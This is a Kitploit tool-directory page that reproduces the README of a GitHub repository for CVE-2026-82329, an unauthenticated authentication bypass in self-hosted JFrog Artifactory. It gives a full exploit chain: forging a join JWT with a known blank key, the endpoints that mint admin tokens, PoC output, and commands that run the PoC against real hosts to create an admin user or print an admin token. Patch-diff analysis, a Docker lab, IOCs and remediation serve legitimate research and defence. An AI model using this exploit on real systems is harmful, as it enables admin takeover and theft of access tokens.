Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-82329-jfrog-artifactory — Reproducible Docker lab and Python PoC for CVE-2026-82329, an unauthenticated auth-bypass in JFrog Artifactory leading to admin takeover, with patch-diff analysis and detection guidance. | Kitploit
Tools/GitHubGitHub/dinosn/cve-2026-82329-jfrog-artifactory
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCloud SecurityAuthenticationPapers & ResearchLabs & Practice
GitHub
dinosn/cve-2026-82329-jfrog-artifactory

cve-2026-82329-jfrog-artifactory

Reproducible Docker lab and Python PoC for CVE-2026-82329, an unauthenticated auth-bypass in JFrog Artifactory leading to admin takeover, with patch-diff analysis and detection guidance.

View Repository
1241422 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-82329 — JFrog Artifactory unauthenticated auth bypass → admin takeover

CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) · CWE-287 · disclosed 2026-08-28 · exploited in the wild.

An unauthenticated, network-adjacent attacker mints a platform administrator access token against a default self-hosted JFrog Artifactory. This directory contains a reproducible Docker lab and a URL-parameterised validator PoC.

Reproduced and A/B-verified on artifactory-oss 7.161.19 (vulnerable, JFrog Access 7.191.11) vs 7.161.20 (patched, JFrog Access 7.191.14).

Root cause was derived from the vendor patch itself (bytecode diff of the closed-source JFrog Access service between the two container images), then proven live — not taken from any third-party write-up.


TL;DR exploit chain (all unauthenticated)

  1. Forge a cluster "join" JWT. JFrog Access verifies join JWTs with the platform join key used as an HMAC secret. A bug leaves a blank join key in the trusted verifier set on a default install. getSigningKey("") = pkcs7(<empty>, 32) = 32 bytes of — a fully known secret. So anyone can sign a valid join JWT (, , fresh , any , ).
0x20
alg=HS256
kid = SHA256("")
iat
service_id
skip_node_registration=true
  • POST /access/api/v1/registry/join (RegistryNoAuthResource — no authentication) → HTTP 201, returns a SERVICE token with scope admin (audience = Access).
  • POST /access/api/v1/tokens with that token, scope=applied-permissions/admin&audience=* → a full admin platform access token (this is the "minting admin tokens" behaviour reported in the wild).
  • Use it — read the entire server configuration, list/steal every access token, and on Pro/Enterprise create admin users, repositories, etc.
  • root@kitploit:~
    $ python3 poc/cve_2026_82329_poc.py http://TARGET:8082
    [+] Step 1  /registry/join           -> HTTP 201  SERVICE token minted (scp=admin)
    [+] Step 2  /access/api/v1/tokens    -> HTTP 200  ADMIN token (scp=applied-permissions/admin, aud=*)
    [+] Step 3  proof of admin capability:
          GET /artifactory/api/system/configuration -> HTTP 200 (18284 bytes, admin-only; unauth=401)
          GET /access/api/v1/tokens (list ALL tokens) -> HTTP 200 (admin-only)
    [=] VULNERABLE - unauthenticated attacker obtained ADMIN on this instance (CVE-2026-82329).
    

    Root cause (from the patch diff)

    JFrog Access 7.191.11 → 7.191.14 changed exactly 12 classes. The security-relevant ones:

    1. Blank join key silently trusted — JoinKeyAccess.tryResolveJoinKeys()

    root@kitploit:~
    // VULNERABLE (7.191.11)
    Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> {
        JoinKeyHashPair hashPair = new JoinKeyHashPair(jKey);            // jKey == "" allowed
        joinKeyListValuesForContext.put(hashPair.getHash(), hashPair);   // blank key added to trusted set
        log.warn("Adding join key with kid: {} to additional join keys", hashPair.getHash());
    });
    
    // PATCHED (7.191.14)  -> blank entries filtered out
    Arrays.stream(joinKey.get().split(",")).map(String::trim)
          .filter(Strings::isNotBlank)
          .forEach(...);
    

    With no additional join keys configured (the default), the config value is ""; "".split(",") yields [""], so a blank JoinKeyHashPair (kid = SHA256("") = e3b0c442…b855) enters the trusted "additional join keys" map. JoinKeyHashPair was also hardened to reject null/blank in the constructor.

    Confirmed on the live default instance — server startup log:

    root@kitploit:~
    o.j.a.s.s.JoinKeyAccess - Adding join key with kid:
        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 to additional join keys
    

    That kid is exactly SHA256("").

    2. The blank join key is a known HMAC secret — JoinKeyUtils.getSigningKey()

    root@kitploit:~
    public static byte[] getSigningKey(String hexEncodedKey) { return hexDecodeAndPad(hexEncodedKey, 32); }
    // pkcs7 padding of an EMPTY key: padLength = 32  ->  32 bytes, each == (byte)32 == 0x20
    

    So the join JWT for the blank key is signed with HS256 over 32 bytes of 0x20 — attacker-known.

    3. The unauthenticated join endpoint mints an admin token

    RegistryNoAuthResource (@Path("/v1/registry"), no @Authorized):

    root@kitploit:~
    @POST @Path("join")
    public Response join(String jwtStr) {                    // body = the raw JWT
        JwtToken token = this.joinService.join(jwtStr, ...); // validates: fresh iat (<30s) + join-key signature
        return Response.status(CREATED).entity(new JoinResponseModel(token.getTokenValue())).build();
    }
    

    JoinServiceImpl → ServiceTokenProviderImpl.getToken():

    root@kitploit:~
    TokenSpec tokenSpec = TokenSpec.create().audience(accessServiceId)
        .subject(serviceId).owner(serviceId).scope("admin").expiresIn(0L).refreshable(false);
    return tokenService.createInternalTokenWithoutAuthAndNotify(tokenSpec).getAccessToken();
    

    A non-expiring, admin-scoped, RSA-signed access token. The scope("admin") service token is then allowed to mint a full applied-permissions/admin user token via POST /access/api/v1/tokens.

    4. Corroborating hardening — ProjectResource

    Two endpoints moved @Authorized(AuthorizationType.SERVICE) → @Authorized(AuthorizationType.ADMIN) (GET/DELETE {projectKey}/resources), confirming the exploit primitive is a forged SERVICE identity and that SERVICE-authorized surface was over-exposed.


    Affected / fixed versions

    Self-hosted only (cloud already patched). Vulnerable ≤ the last release in each branch below; upgrade to the paired fix:

    BranchVulnerable ≤Fixed
    7.1117.111.207.111.21
    7.1177.117.277.117.28
    7.1257.125.197.125.20
    7.1337.133.287.133.29
    7.1467.146.377.146.38
    7.1617.161.197.161.20

    The fix ships JFrog Access 7.191.14.


    Reproduce (lab)

    See lab/README.md. In short:

    root@kitploit:~
    cd lab
    ART_VER=7.161.19 docker compose up -d          # vulnerable (default); wait ~3-4 min
    until curl -sf http://localhost:8082/access/api/v1/system/ping >/dev/null; do sleep 5; done
    python3 ../poc/cve_2026_82329_poc.py http://localhost:8082      # -> VULNERABLE
    
    docker compose down
    ART_VER=7.161.20 docker compose up -d          # patched control
    python3 ../poc/cve_2026_82329_poc.py http://localhost:8082      # -> NOT VULNERABLE (join HTTP 400)
    

    Artifactory 7.161.x requires PostgreSQL (its Access service refuses the bundled Derby), so the lab includes a postgres sidecar.


    Validate a real target

    root@kitploit:~
    python3 poc/cve_2026_82329_poc.py http://<artifactory-host>:8082
    python3 poc/cve_2026_82329_poc.py http://<host>:8082 --create-admin evil:P@ssw0rd1   # Pro/Ent state change
    python3 poc/cve_2026_82329_poc.py http://<host>:8082 --token-only                     # print an admin token
    

    Point it at whatever front-ends the JFrog Router (/access/… reachable). It reports VULNERABLE (admin obtained) or NOT VULNERABLE (join rejected). Only run against systems you are authorised to test.


    Detection / IOCs

    • Access request log: POST /access/api/v1/registry/join from non-cluster hosts, especially followed immediately by POST /access/api/v1/tokens.
    • Access service log: the line Adding join key with kid: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 … means the blank join key is trusted (present on unpatched defaults).
    • Access audit / token store: unexpected non-expiring tokens with scope=applied-permissions/admin, audience=*, or service-subject admin tokens (sub=<svc>, scp=admin, aud=<access-id>).
    • Join JWTs whose kid claim equals SHA256("") (e3b0c442…b855).

    Remediation

    Upgrade to the fixed version for your branch (table above). Additionally: front Artifactory behind a reverse proxy that does not expose /access/api/v1/registry/** to untrusted networks, and rotate the join key + revoke unexpected admin tokens after patching.


    Artifacts in this directory: poc/ (validator), lab/ (Docker lab), analysis/ (patch diffs + decompiled evidence), EVIDENCE.md (captured run output). For authorised security research only.

    Download Tool